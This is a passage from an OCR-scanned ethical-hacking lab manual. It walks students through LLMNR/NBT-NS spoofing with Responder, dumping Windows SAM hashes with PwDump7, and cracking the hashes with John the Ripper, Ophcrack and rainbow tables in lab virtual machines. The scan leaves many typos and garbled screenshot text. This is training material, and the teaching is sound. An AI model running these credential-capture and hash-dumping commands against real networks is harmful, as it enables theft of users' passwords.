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Module 06 - System Hacking

System Hacking

System hacking is the science of testing computers and network _for vulnerabilities and
harmiful plug-ins.

Lab Scenario

Password hacking is one of the easiest and most common ways hackers obtain
unauthorized computer or netwotk access. Although strong passwords that are
difficult to crack (or guess) are easy to create and maintain, users often neglect this.
Therefore, passwords are one of the weakest links in the information-security chain.
Passwords rely on sectecy. After a password is compromised, its ofiginal owner isn’t
the only person who can access the system with it. Hackers have many ways to obtain
passwords. They can obtain passwords from local computers by using password-
cracking software, To obtain passwords from across a network, they can use remote
cracking utilities or network analyzess. ‘The labs in this module demonstrate just how
easily hackers can gather password information from your network, and describe
password vulnerabilities that exist in computer networks, as well as countermeasures
to help prevent these vulnerabilities from being exploited on your systems.

Lab Objectives
The objective of this lab is to help students learn to monitor a system remotely and
to extract hidden files and other tasks that include:

=  Extracting administrative passwords

= Hiding files and extracting hidden files

= Recovering passwords

= Monitoring a system remotely

Lab Environment

To carry out this lab, you need:
= A computer running Windows Setver 2016
= A computer running Windows Server 2012
= A computer running Windows 10 in Virtual machine
= A computer running Kali Linux in virtual machine
= A web browser with an Internet connection

=  Administrative privilege to run tools

Lab Duration
Time: 190 Minutes
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Module 06 - System Hacking

Overview of System Hacking
The goal of system hacking is to gain access, escalate privileges, execute applications,
and hide files.

Lab Tasks

Hrask 1 Recommended labs to assist you in system hacking:

Overview "

Active Online Attack using Responder

Dumping and Cracking SAM Hashes to Extract Plaintext Passwords
Creating and using the Rainbow Tables

Auditing System Passwords using LOphtCrack

Exploiting Client Side Vulnerabilities and Establishing a VNC Session
Escalating Privileges by Exploiting Client Side Vulnerabilities

Hacking Windows Server 2012 with a Malicious Office Document using
TheFatRat

Hacking Windows 10 Using Metasploit and Post-Exploitation using
Meterpreter

User System Monitoring and Surveillance using Spytech SpyAgent
Web Activity Monitoring and Recording using Power Spy

Hiding Files using NTFS Streams

Hiding Data using White Space Steganography

Image Steganography using OpenStego

Image Steganography using Quick Stego

Covert channels using Covert_TCP

Viewing, Enabling and Clearing Audit Policies using Auditpol

Lab Analysis
Analyze and document the results related to this lab exercise. Give your opinion on
the target’s security posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS

RELATED TO THIS LAB.
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Active Online Attack using Responder

LIMNR/NBT-NS Spoofing Attack is a classic internal network attack that still
works today, due to low awareness and the fact it’s enabled by defanlt in Windows.

Lab Scenario

LIMNR and NBT-NS are enabled by default in Windows and can be used to extract
the password hashes from a user. Since the awareness of this attack is faitly low, there
is a good chance of acquiring the user credentials on a internal network penetration
test.

By listening for LIMNR/NBT-NS broadcast requests, it is possible for an attacker to
spoofitself as the server and send a response claiming to be the legitimate server. After
the victim system accepts the connection, it is possible to gain the victim’s user-
credentials by using a tool like Responder.py.
Lab Objectives
The objective of this lab is to help students undetstand how to:

= Perform LLMNR/NBT-NS Spoofing attack on a network

Lab Environment
To perform the lab, you need:
=  Windows 10 running as a virtual machine
= Kali Linux running as a virtual machine
Lab Duration

Time: 10 Minutes

Overview of LLMNR/NBT-NS

When a DNS name server request fails, Link-T.ocal Multicast Name Resolution
(LLMNR) and Net-BIOS Name Service (NBT-NS) is used by the windows systems
as a fallback. If the DNS name still remains unresolved, the windows system performs
an unauthenticated UDP broadcast to the whole network. Any masquerading
machine, claiming to be the setver then sends a response and captutes the victim’s
credentials during the authentication process.
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Module 06 - System Hacking

Lab Tasks
1. Before starting this lab launch and login to Windows 10 machine.

g TASK 1

2. Login as Username: Jason, and Password: qwerty.

Log into Jason
Account

FIGURE 1.1: Logging into Jason account
3. Now launch Kali Linux virtual machine, and login (Username: root,
Password: toor).
4. Open a command terminal from the taskbar, and type responder -1 eth0
and press Enter as shown in the screenshot.
root@kall: ~ () i?

B rask 2 ,
:~# responder -I ethof]

Run Responder
FIGURE 1.2: Starting responder
5. Responder starts to listen the network interface for events as shown in the
screenshot.

rootmkall: ~ )
dle  Fdr View Seavh Termmal  Help

HTTP Options:
Always serving EXE
Serving EX

Serving HTML
Upstream Proxy

Poisoning Options:

Force VIPAD auth
Force Basic Auth

Force LM downgrade
Fingerprint hosts

Generic Options:
Responder NIC
Responder IP
Challenge set

Don't Respond To Names

+] Listening for events..

FIGURE 1.3 Responder started
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6. Assume that you want to access a shared network drive connected in your
network, using Windows 10 machine.

7. Switch back to Windows 10 and right-click on Start icon, and click Run as

shown in the screenshot.

Apps and Features
Power Options
Event Viewer
System

Device Manager
Network Conn

Dusk Management

Computer Management

Task Manager

Run

Shut down or sign out

Desktop

(J Type here to search

FIGURE 1.4: Launching the Run window

8. Run window appears, type \\ceh-tools in the Open field and click OK.
Ieave the Windows 10 machine running and switch back to Kali Linux

machine.

Run

— Type the name of a program, folder, document, or Internet
— resource, and Windows will open it for you.

X

Open: I'\\ceh-tools]

Cancel Browse...

FIGURE L5 Run window
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Module 06 - System Hacking

9. Responder starts capturing the access logs of Windows 10 machine as
shown in the screenshot.

10. Responder will collect the hashes of the logged in user of the target
H task 3 machine.

View and Crack 11. By default, Responder will store the logs in the usr/share/responder/logs.

Obtained Hash root@kali: ~

ile Edit View Search Terminal Help

R] Pois
*] Skipping previously captured hash for
ol MNR Po ned answer sent 1
*] Skipping previously captured h

FIGURE 1.6: Hash obtained by responder

12. Navigate to Places and click Computer from the menu bar as shown in the
screenshot.

FIGURE 1.7: Navigating to responder log file
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Module 06 - System Hacking

13. Computer window appears, navigate to usr = share > responder =
logs and double-dlick recorded log file to open and view the recorded

content.
T T T
< > |« [ wusr share responder | logs » Qil:=|l= © 60 &
O Recent =
@ Home Analyzer- Config- Poisoners-  Responder-
Session. Responder.  Session.l Session.
i Desktop 5 FlJoq 9 9

[ Documents

@ Downloads

Ll Music

FIGURE 1.8 Responder log file
14. Hashes of the logged in user collected by responder.

Oren o & sSSP IO I 06 e T 600

ason : : DESKTOP

EVEDCV1: 2636308361 53¢a9: SDEGAIOBOSFIFAD]I EBIABCIOEIBOCEOD : 0101000000000000C0653150DEOID201 1BASSESFABTE 3720000000002
Pason: :DESKTOP.

BVEDCV1:dd472cebacc 20091 : EB4BFABDESO20CDBIFTSF23C6F772173:6101000000000000C0653158DECID201 5866FIFABDIDEDCOOOOOO0002

FIGURE 1.9: Hash collected by responder
15. We will crack the hashes to know the password of the logged in user ie.,
Jason.

16. To crack the passwords, open a new command line terminal and type john
lusrishare/responder/logs/<file name of the logs.txt> as shown in the
screenshot.

Note: Log file name will differ in your lab environment. Here the log file
name is SMBv2-NTLMv2-SSP-10.10.10.10.txt

root@hati - 00

e Edt View Search Terminal Help

# john /usr/share/responder/logs/SMBv2-NTLMv2-S5P-10.10.10.10. txt

FIGURE 1.10: Cracking the hash using john
17. Cracked password hashes of the Jason user has shown in the screenshot.
root@kali: ~ (- C - )

File Edit View Search Terminal Help
# john /usr/share/responder/10g9s/SMBv2-NTLMv2-55P-10.10.10.10.1
Jsing default input encoding: UTF-8
Rules/masks using IS0-8859-1
oaded 2 password hashes with 2 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC
-MD5 32/64])
g' or Ctrl-C to abort, almost any other key for status
(Jason)

Session completed

FIGURE L11: Password cracked successfully
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Module 06 - System Hacking

Lab Analysis

Analyze and document the results related to the lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

M Yes O No
Platform Supported
Classroom [ iLabs
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Module 06 - System Hacking

Dumping and Cracking SAM
Hashes to Extract Plaintext
Passwords

Puwdump7 can be used to dump protected files. Opherack is a free open source (GPL
licensed) program that cracks Windows passwords by using LM hashes through
rainbow tables.

Lab Scenario

The Secutity Account Manager (SAM) is a database file present on Windows
machines that stores user accounts and security descriptors for users on a local
computer. It stotes usets' passwords in a hashed format (in .M hash and NTLM
hash). Because a hash function is one-way, this provides some measure of security
for the storage of the passwords.

In a system hacking lifecycle, attackers generally dump operating system password
hashes immediately after a compromise of the target machine. The password
hashes enable attackers to launch a vatiety of attacks on the system, including
password cracking, pass the hash, unauthorized access of other systems using the
same passwords, password analysis, and pattern recognition, in order to crack
other passwords in the target environment.

You need to have administrator access to dump the contents of the SAM file.
Assessment of password strength is a critical milestone duting your security
assessment engagement. You will start your password assessment with a simple
SAM hash dump and running it with a hash decryptor to uncover plaintext
passwords.

Lab Objectives
The objective of this lab is to help students learn how to:

= Use the pwdump7 tool to extract password hashes

= Use the Ophcrack tool to crack the passwords and obtain plain text
passwords
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TASK 1

Generate Hashes

Module 06 - System Hacking

Lab Environment

To carty out the lab you need:

Pwdump7, located at Z:\CEH-Tools\CEHv10 Module 06 System
Hacking\Password Cracking Tools\pwdump7

Ophcrack tool, located at ZACEH-Tools\CEHv10 Module 06 System
Hacking\Password Cracking Tools\ophcrack

Run this tool on Windows 10

You can download the latest version of pwdump7 at
httpJ/www.tarasco.org/security/pwdump_7/index.html

You can download the latest version of Ophcrack at
httpZ/Ophcrack.sourceforge.net/

Administrative privileges to run tools

Lab Duration
Time: 10 Minutes

Overview of the Lab

Pwdump7 can also be used to dump protected files. You can always copy a used
file by executing pwdumpZ.exe -d c:\lockedfile.dat backup-lockedfile.dat.
Rainbow tables for .M hashes of alphanumeric passwords are provided for free
by the developers. By default, Ophcrack is bundled with tables that allow it to
crack passwords not longer than 14 characters using only alphanumeric
characters.

Lab Tasks

1.

Before starting this lab, we need to find the User IDs associated with
the usernames for Windows 10 machine

2. Launch Windows 10 machine and login.
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Module 06 - System Hacking

3. TLaunch Command prompt in Administrator mode, to launch type cmd
in the Search field and fight-click on Command Prompt, and click Run
as administrator as shown in the screenshot.

& 0 & Filters v/

Best match

Command Prompt
Desktop app

Search 5“999[ 53 Run as administrator ]
£ cmd-sc [ Open file location >
= Pin to Start

-2 Pin to taskbar

FIGURE 2.1: Open ¢ d prompt as ad

4. User Account Control pop-up appears click Yes.

Windows Command Processor

Verified publisher: Microsoft Windows

Show more details

FIGURE 2.2: UAC prompt
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Module 06 - System Hacking

5. In the Command Prompt window, type wmic useraccount get
name,sid and press Enter.

6. By issuing this command we got the usernames and respective UserIDs.
Make a note of each UserID for further steps.

FIGURE 2.3 Get user IDs through command prompt

7. Now, copy the pwdump7 folder from the Z:\\CEH-Tools\CEHv10
Module 06 System Hacking\Password Cracking Tools location and
paste it on the Desktop.

8. Now, open a new command prompt window in Administrator mode
and type cd C:\Users\Admin\Desktop\pwdump7 and press Enter.

Adminatrator: Command Prompt o

FIGURE 2.4: Change working directory to pwdump

9. Type PwDump7.exe and press Enter to gather the Password hashes and
UserIDs.

FIGURE 2.5: Running pwdump to get password hashes

10. Now, at the command prompt, type PwDump7.exe > c:\hashes.txt and
press Enter.
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Module 06 - System Hacking

11. By issuing this command PwDump7.exe will copy all the data of
PwDump7.exe to the c:\hashes.txt file.

Kdminstrator Command Prompt R

FIGURE 2.6: Copying hash values into text file

12 To check the generated hashes, navigate to e:and open the hashes.txt
file with Notepad.

7 hashes.tt - Notepad - (] X

File Edt Format View Help

dministrator:500:NO PASSWORD®=*==**
uest:501:NO PASSWORD®*#*ssssassanss
:503:NO PASSWORD***** .
dmin:1001:NO PASSWORD
:1002:NO PASSWORD***
:1084:NO PASSWORD
:1005:NO PASSWORD***

sennsnnne. 31D6CF
:NG PASSWORD**

SE
2020D252A479F485CDF

FIGURE 2.7: hashes.txt window

13. Now place the usernames before the respective UserIDs that we have
gathered in step 6 as shown in the screenshot.

I” hashes.tit - Notepad - a X g |
File Edt Formst View Help

JAdministrator:508:NO PASSWORD**
Guest:501:NO PASSHORD****»=+=
PefaultAccount:583:N0 PASSWORD*
Pdmin:1001:NO PASSWORD**=*=+*
Martin:1002:NO PASSWORD*
Pason:1004:N0 PASSWORD**
IShiela:1005:N0O PASSWORD*

*+==:31D6CFEADIGAED31873C59D7EBCOBICO: : :
NHO PASSHORD***+s=assvx

sesxsxax;NO PASSHORD**
**:9293794585188143410E 37 72650004F

20200252A479F485CDFSE1710939858F :
:@CB6948805F7978F2A82807973889537

FIGURE 2.8: Fdited hash.txt file

CEH Lab Manual Page 456

Ethical Hacking and Countermeasures Copyright © by EC-Councll
All Rights Reserved. Reproduction is Strictly Prohibited.



Module 06 - System Hacking

14. Now press Ctri+S to save the file; save as window appears. Choose
Desktop as save location and click Save button.

) Save As X

= v 4 [B > ThisPC > Desktop > v]|o | searchDesktop »

Organize v New folder

Ceo Name Date modified Type

v 3 Quick access
[ Desktop
& Downloads

|Z) Documents

% % N 5

[&=! Pictures
‘i Local Disk (C:)
D Music
[B Vvideos

> &% Dropbox

AR >

File name: I hashes.bt .

Save as type:  Text Documents (*.bxt) v

A Hide Folders Encod’mgiANSl v Cancel

FIGURE 2.9: Saving hashes.txt file

15. Now, we shall attempt to crack these password hashes with the Ophcrack
tool.

Birask 2 16. Launch Ophcrack application from Z:\CEH-Tools\CEHv10 Module 06
System Hacking\Password Cracking Tools\ophcrack\x86.

Install Ophcrack F > AoghicationTools %86 - O xJ

Home  Share  View Manage

« - » ophcrack-3.7.0-bin » X85 v |8 | Searchx

A Name Date modified Type Size

o Quick access
B Desktop
& Downloads
%] Documents

|| .opherackee 11/8/2017 M OPHCRACKRC File 1KE
ophcrack.exe 373002017 345 AM  Application 13344 KB]
(] ophcrack_nogui.exe 3/30/2017 345AM  Application 1351 kB

L

&= Pictures
L. Shared

& This PC
m You can also I Desktop
download the OphCrack ¥| Documents
from

http:// Opheracksource for
genet,

¥ Dovmloads
D Music
& Pictures
B Videos
‘& Local Disk (C:)
=% CEM-Tools (WA
o Network v
3 items 1 item sefected 13,0 M3 w

FIGURE 2.1(: Taunching opherack application
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Module 06 - System Hacking

17. The Ophcrack main window appears, as shown in the screenshot:

r.- opherack - a X
2 L & v » O & e
load _ Oeete Ssve | Tables Crack Help Exit About
Progress  Statetcs  Preferences
User  (MHash NT Hash IMPwd 1 LMPwd2 NT Pwd
& Rainbow tables for LM
hashes of alphanumeric
passwords are provided for
free by the develoy
Table Status Predoad Progress
Predoad: waitng Mbu'e:l watng | Mfomd:| I Time elapsed: 0h Om 0s ‘
FIGURE 211: Opherack Main window
18. Click the Load menu, and select PWDUMPfile.
E ophcrack - a X
a S ~ra
ol €& v » O @ [ o2
| toad | oo See Tebes Crack Help Exit About
Single hash
£ Ophaack is bundied NT Has IMPud1  EMPwd2 NT Puvd
with tables that allows it to B
crack passwords no longer
than 14 characters using
only alphanumeric
characters ‘
Table Status Preload Progress
Preioad: naibrg | erute force: | watng | P found: | o0 | Teme dlapsed: 05 Om 0s
FIGURE 2.12: Selecting PWDUMP file
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Module 06 - System Hacking

19. The Open PWDUMP file window appears. Browse the PWDUMP file
hashes.txt located at Desktop.

20. Select the hashes.txt file, located at Desktop, and click Open.

@ Open PWDUMP file X
« v 4 B> ThisPC » Desktop > v &  Search Desktop L
Organize v New folder WMy m @

N [ |

»# Quick access

‘ Downloads

|%] Documents
mOphcmck is also

available as Live CD & Pictures *

distributions which iy Local Disk (C:)
automate the retrieval,
decryption, and cracking of ) Music
::i::rds ona Windows . Videos

2% Dropbox

‘& OneDrive

B This PC v,

File name: | hashes b v| Al Files () v

| Open || | Cancel
FIGURE 2.13: Import the hashes from PWDUMP ke
21. Hashes are loaded in Ophcrack, as shown in the screenshot:
5 ophcrack - a x
2 LU d v % 0 & c
osd Delete Sove Tobles  Crack Hep et About

User LM Hash NT Hash MPwd 1 MPwd2 NTPd
Adminstrator 31DECFEODIEA.. empty
Guest 31dBctedd16aes.. empty
Defaulticeount 31d6cfedd16ees... empty
Admin 9293754585168
Martin SEBETDFAQ74D...
Jason 2DAD252A4TF...
=7 Ophcrack Cracks Shiela 0CBESBR05F7S...
IM and NTLM
Windows hashes.
l )
FIGURE 2.14: Hashes added to Opherack
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Module 06 - System Hacking

22. Click the Tables menu.

. ophcrack - =] X
2 U d(v|® 0 @ e
Load - Delete Save Tables Crack Help Exit About
"~7Tools Progress  Statstcs  Prefeences
demonstrated in [ User LM Hash NT Hash LMPwd 1 LMPwd2 NT Pwd
this are i Administrator 31D6CFEOD16A... empty
lab | Guest 31d6cfedd160¢9... empty
available in | Defauhaccount 31d6cledd16ae9... empty
| Admin 9293794585188...
Z:\CEH- | Martin SEBE7DFAD74D... ‘
Tools\CEHV10 s il \
Module 06 System |
Hacking
Table Status Preload Progress
preosd: | watng | Brute force: | watng | Pwdfound: | 37 | Tmecspsed: [ ohomos
FIGURE 2,15 sckecting the Rainbow table
23. Table Selection window appeats; select Vista free and click install.
7 Opherack Free tables
are available for Windows r.- Table Selection ? X
XP, Vista and 7.
Table Directory Status Preload &
@ XP free fast not installed on disk
@ XP free small not installed on disk
@ XP special not installed on disk
@ XP german vl not installed on disk
@ XP german v2 not installed on disk
@ Vista ial not installed on disk
g Vista free i not installed on disk )
ista nine not installed on disk
@ Vista eight not installed on disk v
@ =enabled & =dsabled @ =notinstaled
&~ e[ |
FIGURE 2.16: Installing vista free minbow table
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Module 06 - System Hacking

24. 'The Select the directory which contains the tables window appeats. Select
the table_vista_free folder, which is already downloaded and kept in Z:\CEH-
Tools\CEHv10 Module 06 System Hacking\Password Cracking
Tools\ophcrack, and click Select Folder.

Note: You can download free XP and Vista Rainbow Tables from
http/Ophcrack.sourceforge.net/tables.php.

. Select the directory which contains the tables. X

« i « ophcrack-3.7.0-bin > x86 vl Search x85 p
Organize v New folder I v o

= Pictures # A Name Date modified Type

'y Shared

[ tables_vista_free /820171618 PM  File fold:

B8 This PC

1) Desktop

|5] Documents

& Downloads
7~Loads hashes D Music
from emw &= Pictures
SAM recovered & videos
from a Windows i Local Disk (C:)
partition % CEH-Tools (\RT

¥ Network v < >

FIGURE 217: Choosing the table

Folder: | tables vista free

25. This tables_vista_free is a pre-computed table for reversing cryptographic
hash functions and recovering plaintext passwords up to a certain length.

26. The selected table_vista_free is installed under the name Vista free, which
is represented by a green colored bullet. Select the table, and click OK.

® Table Selection 7 X
Table Directory Status Preload A
@ XP free fast not installed on disk
@ XP free small not installed on disk
@ XP special not installed on disk
@ XP german vl not installed on disk
@ XP germanv2 not installed on disk
@ Vista special not installed on disk
[ imawe on disk
@ Vista nine not installed on disk
@ Vists eight not installed on disk v

@ =enabled & =dsabled @ =notinstalied

RO - ()

FIGURE 2.18: vista free minbow table installed

27. Click Crack on the menu bar. Ophcrack begins to crack passwords.
Ophcrack will take few minutes to crack the passwords. Wait until it finishes
the password cracking process.
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Module 06 - System Hacking

28. In the meanwhile, it will also display the cracked passwords of the respective

usernames.
—
. opherack - =] X
Load | Delete Swe | Tabes | Crack Heo Bt About
User LM Hash NT Hash LM Pwd 1 LM Pwd 2 NT Pwd
Administrator 31D6CFEODIBA.., empty
soos ; Guest 31d6cfe0d160¢9... empty
77/ This is necessary if the DefautAccount 31dbefedd16aed... empty
generation of the LM hash Admin 92037945B5188...
is disabled (this is default "::.":"‘ :‘Dm‘g;
for Windows Yum), orif Shiels 0CBEB808FTS..
the password is longer than
14 characters (in which
case the LM hash is not
stored).
Table Status Preload Progress
> @ Vista free inactive on disk [ |
*PIM| waitng | Brute force: | watng | Pwd found: | P | Time elapsad: | Oh om 0s |
FIGURE 2.19: Cracking the hashes
29. Cracked passwords are displayed, as shown in the following screenshot:
- opherack - E X
load | Delete Save Tbles Ok oo B oot
Progress  Statstcs  Preferences
User M Hath NT Hash (MPwd | MPud2 NTPud
| Administrator JID6CFEODIBA.,
Guest dbeteOd16ed.
| Defautthccount J1dbcleOd1boed...
Adenin 9293794585168...
Martin SEBETDFADT4D...
Joson 20200252A47%F...
Shiela 0CHEBO0SF ..,
T mble S Prelesd Progress
v @ Vistafree  inactive 100N in RAM
@ tabled Inactive 100% i RAM |
@ table! inactive 100 e RAM | —
@ table2 Inactive 100 i RAM |
® tabled Inactive 1005 i RAM | —
i‘mm[ done | rute force: | done | Pwd found: | [ | Tmecapsed: | oheman |
FIGURE 220: Hashes crcked successfully
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Module 06 - System Hacking

30. In real-time, if an attacker attempts to exploit a machine and escalate the
privileges, he/she can obtain password hashes using tools such
asPWdump7. By doing so, they can use hash decoding tools like
Ophcrack to acquire plain-text passwords.

Lab Analysis
Analyze all the password hashes gathered during this lab, and figure out what the
password was.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Intemet Connection Required

[ Yes M No
Platform Supported
Classroom iLabs
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Module 06 - System Hacking

Creating and using the Rainbow
Tables

Winrtgen is a graphical Rainbow Tables Generator that supports LM, Fastl M,
NTIM, IMCHALL, Haft MCHALL, NTIMCHALL, MSCACHE,
MD2, MD4, MD5, SHAT, RIPEMD160, MySQI.323, MySQI.SHAI,
CiswPIX, ORACLE, SHA-2 (256), SHA-2 (384), and SHA-2 (512) hashes.

RainbonCrack is a computer program that generates rainbow tables for use in password
cracking.

Lab Scenario

Once an attacker gains access to a system’s SAM database dump, the easiest and fasted
route he or she can follow to recover the plain text password is to use rainbow tables.
A rainbow table is a precomputed table of all possible combinations of a given
character set and their respective hash values, used for reversing cryptographic hash
functions. Password crackers compare the rainbow table’s precompiled list of
potential hashes to hashed passwords in the database. The rainbow table associates
plaintext possibilities with each of those hashes, which the attacker can then exploit to
access the network as an authenticated user.

Rainbow tables make password cracking much faster than eatlier methods, such as
brute-force cracking and dictionary attacks. However, the approach uses a lotof RAM
due to the large amount of data in such a table. With the availability of large computing
power, you can generate huge rainbow tables that you can use for your security and
password audit assignments.

Lab Objectives

The objective of this lab is to show students how to create rainbow tables and use
them to crack the hashes and obtain plain text passwords.
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Lab Environment
To catry out this lab, you need:
F7Tools = A computer running Window Server 2016
demonstrated in = A computer running Windows 10
this lab are
available in =  Winrtgen Tool located at ZACEH-Tools\CEHv10 Module 06 System
Z:\CEH- Hacking\Tools to Create Rainbow Tables\Winrtgen
Tools\CEHv10 = RainbowCrack Tool located at ZACEH-Tools\CEHv10 Module 06 System
Module 06 System Hacking\Tools to Create Rainbow Tables\RainbowCrack
Hacking

=  Download the latest version of Winrtgen at
httpJ//www.oxid.it/projects.html

=  Download the latest version of RainbowCrack at httpy/project-

rainbowcrack.com/
= If you wish to download the latest version, then screenshots shown in the lab
might differ
=  Administrative ptivileges to run the tools
Lab Duration

Time: 10 Minutes
L vou e Overview of Rainbow Tables

download Winrtgen from

hlltr;l/]/ www.oxidit/project - A rainbow table is a pre-computed table for reversing cryptographic hash functions,

. typically used for cracking password hashes. Tables are usually used in recovering the
plaintext password consisting of a limited set of characters, up to a certain length.

Lab Task

Hrask 1 1. Assume you that you got the Password of User Accounts available in the
Conorsi Windows 10 machine. hashes.txt file that you have got in the previous lab
Rainbow Table (Dumping and Cracking SAM Hashes to Extract Plaintext Passwords) located
at Desktop of Windows 10 machine. Shate the file by any medium so that it

can be accessed in Windows Server 2016 machine.

2. Launch Windows Server 2016 machine and login.
3. Navigate to ZACEH-Tools\CEHv10 Module 06 System Hacking\Tools to

Create Rainbow Tables\Winrtgen, and double-click winrtgen.exe.
L Rainbow wbles wswally 4, If an Open File - Security Waming pop-up appears, click Run.

are used to crack a ot of
hash types such as NTLM,
MD5, SHAL
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Module 06 - System Hacking

5. 'The main window of Winrtgen opens, as shown in the following screenshot:

m Winrtgen v2.8 (Rainbow Tables Generator) by mao —_ >
Filename | Status |
< >

AddTable | Remove | Removell | About | ok | Ew
FIGURE 3.1: Winrtgen main window
6. Click on Add Table button to add a new rainbow table.

m Winrtgen v2.8 (Rainbow Tables Generator) by mao - X
Filename | Status |
< >

(AddTable | Remove | Removear | Aot | Ext

FIGURE 32: creating the rinbow table

7. The Rainbow Table properties window appears.
i. Select ntim from Hash dropdown list.

ii. SetMin Len as 4, Max Len as 6 and Chain Count 4000000

Select loweralpha from Charset dropdown list (its depends upon
Password).
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m You must be mindful
of your hard-disk space. A
simple rainbow table for
1-5 alphanumeric costs
about 613MB of your
harddisk.

Module 06 - System Hacking

8. Click OK.
|Rainbow Table properties X

Hash Min Len | - Max Len - Index Chain Len—| - Chain Count [~ N* of tables
" i O ]H[s J IR G H[zwn (4000000} “1 ‘
Charset —
) o |
Iabodefgiilmnopqstuvmyz

- Table properties

Key space: 321254128 keys
Disk space: 61.03MB
Success probability: 0.996072 (99.61%)

i~ Benchmark ~ Optional p
Hash speed: lAdmmxsllarr.u
Step speed:

Table precomputation time:
Total precomputation time:
Max cryptanalysis time:

Benchmark (o) cence |

FIGURE 3.3: Rainbow Table properties window

9. With these settings, you are creating a rainbow table that can be used to crack

only ntim hashes containing lowercase alphabetical passwords varying
between 4-6 characters in length.

10. A file will be created and displayed in the Winrtgen window. Click OK.

m Ninrtgen v2.8 (Rainbow Tables ) by mao — X

[ Status
ntin_loweralphattd-6_0_2400x4000000_owdH000.1t ]

<

AddTable | Remove | Removedl | About | (oK ] Eit

FIGURE 3.4 Creating Rainbow table
11. Winrtgen begins to create the hash table.

Note: Winrtgen takes a lot of time to generate hashes. So, to save time for Lab
demonstration, a pregenerated hash table is kept at the location ZACEH-
Tools\CEHv10 Module 06 System Hacking\Tools to Create Rainbow
Tables\Winrtgen
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12. The created hash table is saved automatically in Z:\CEH-Tools\CEHv10 Module

06 System Hacking\Tools to Create Rainbow Tables\Winrtgen.

= | Winrtgen - o X
Home  Share  View ()
- 4 <« Windows Password Crackers » Winrtgen v o Search Winrigen »p
A Name & Type Size
# Quick access
= charset.tt Text Document 6 KB
Il Desktop * = %
([ ntim_Joweralpha#4-6_0_2400e4000000_ox... AT File 52,500 KB)
& Downloads ¢ " Tables.lst LST File 1KB
[% Documents # B winrtgen.exe Applicaion 255 KB
& Pictures ” | winrtgen.exesig SIG File 1 KB
o Shared
I This PC
Il Desktop
[Z] Documents
& Dovmloads
d Music
® Pictures
B Videos
‘i Local Disk (C)

o CEH-Tools (\RC

FIGURE 3.5: Generated Rainbow tablke file

13. This generated table is used in tools such as RainbowCrack in order to crack
passwords of vatious lengths, depending on the hashes you generate using

14. Now, we shall try to use these tables and crack the password hashes using the

RainbowCrack tool.

Biask 2 15. Navigate to ZACEH-Tools\CEHv10 Module 06 System Hacking\Tools to
Create Rainbow Tables\RainbowCrack, and doublelick rerack_gui.exe.
Add password 3
hashes 16. If an Open File - Security Warning pop-up appears, click Run.
17. The main window of RainbowCrack opens, as shown in the following
screenshot:
E Ranbewlrack w =4 X
file Ede View Rainbow Table Hep
Hash Plantext Plaraeot in =ex Commant
£ RainbowCrack for
GPU is the hash-cracking
program in the
RainbowCrack hash o B
cracking utilives.
FIGURE 3.6: RainbowCrack main window
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18. To add a password hash in RainbowCrack, click the File menu, and click Load
NTLM Hashes from PWDUMP File....

5 RainbowCrack - a X
File | Edt View Rainbow Table Help
Add Hashes... ext Plaintextin Hex Comment
Load Hashes from File...

Load LM Hashes from PWDUMP File..,
Load NTLM Hashes from PWDUMP File...

GPU is significantly faster Save Results...
than any nonGPU
J, ok d rainb tabk Exit
lookup program or straight
GPU brute-fora: cracker. >
lassages

LI RainbowCrack uses
time-memory tradeoff
algorithm to arack hashes. Tt
differs from the hash crackers
that use brute-force
algorithm,

FIGURE 3.7: Choosing Add Hashes. .. option from File menu

19. The Open dialog-box appears. Navigate to the hashes.txt of Windows 10
machine that we have gathered in the previous lab, and click Open.

5! Open X

&« « 4 I > ThisPC > Desktop > v O Search Desktop

y
™ @

New folder ffE -

8

Organize v

pwdump7
Rainbow tables

8 This PC
[ Desktop
[£) Documents
& Downloads
d
[&= Pictures
8 videos
s Local Disk (C:)
"% CEH-Tools (\\RC

Music

@ Network v

File name: | hashes.bxt ~| | AnFiles ) v

o]

Cancel

FIGURE 3 8: Add Hashes dialog-box
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20. RainbowCrack will display the Hash value and the User name as shown in

Hrask 3 the screenshot.

Crack & RembowCrack -
the hashes File Edit View RainbowTable Help

Hash Plaintext Plaintextin Hex Comment

[ 31d6cfe0d162e931073¢59d7e0c089c0 Administrator
31d6cfe0d162e931673¢59d7e0c083c0 Guest

[ 31d6cfe0d16ae931673c59d7e0c089c0 DefaultAccount
[ 929379450518814341de31726500d4ff <ot found> <notfound> Admin

[F] 5ebe7dfa074daBea8aeflfaa2bbde876 <notfound> <not found> Martin
2d20d252a4798485cd5e 171d93985bf  <not found> <notfound> Jason

1 0cb6948805797b12a82807973089537  <notfound> <notfound> Shiela

< >
Messages

FIGURE 39: Added hashes in RambowCrack main window

21. Import Rainbow table to RainbowCrack to crack the password; navigate to
Rainbow Table and click Search Rainbow Tables from the menu bar.

RainbowCrack = a X

File Edit View | Rainbow Table | Help

ash Search Reinbow Tables... Plaintext in Hex Comment
31d6cfe0d162e9; Search Rainbow Tables in Directory... Administrator
A1d6efedd162e9: Search Rainbow Tables Group [group 1] Guest
31d6cfedd16ae9: Search Rainbow Tables Group [group 2] DefaultAccount
92937945b51881 Configure Reinbow Tobles Group.- <notfound> Admin
Sebe7dtal/4da8) <not found> Martin
2d200252a479M4g___ StF <notfound> Jason
0cbB948805(797bf2a82807973b89537  <notfound> <not found> Shiela

FIGURE 3.1(: Search minbow tables option
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22. Open dialog box appears; navigate to pre generated rainbow tables which are
located at and select ntim_loweralpha#4-6_0_2400x4000000_oxid#000.rt

click Open.
% Open X
— v <« CEHv10.. » Rainbow tables v D Search Rainbow tables P
Organize v New folder =z« [ 0
A
Rainbow tables »  Name Date modified Type
I This PC [7] mds5_loweralpha-numeric#5-6_0_2400x40... 10/30/2014 11:48 ., KT File
I Desktop | L] ntim_loweralpha#4-6_0_2400x4000000_ox... 9/17/201211:31 PM  RT File
|Z Documents
§ Downloads
} Music
&= Pictures
B videos
e Local Disk (C:)
% CEH-Tools (\\RC
| b Network
v < >
File name: | ntim_loweralpha?4-6_0_2400x400C v | | Rainbow Tables ("rt"stc) v
I Open I ‘ Cancel
FIGURE 3.11: Selecting the rainbow table
23. As soon as you import the rainbow tables the RainbowCrack will crack the
passwords of the Windows 10 machine users as shown in the screenshot.
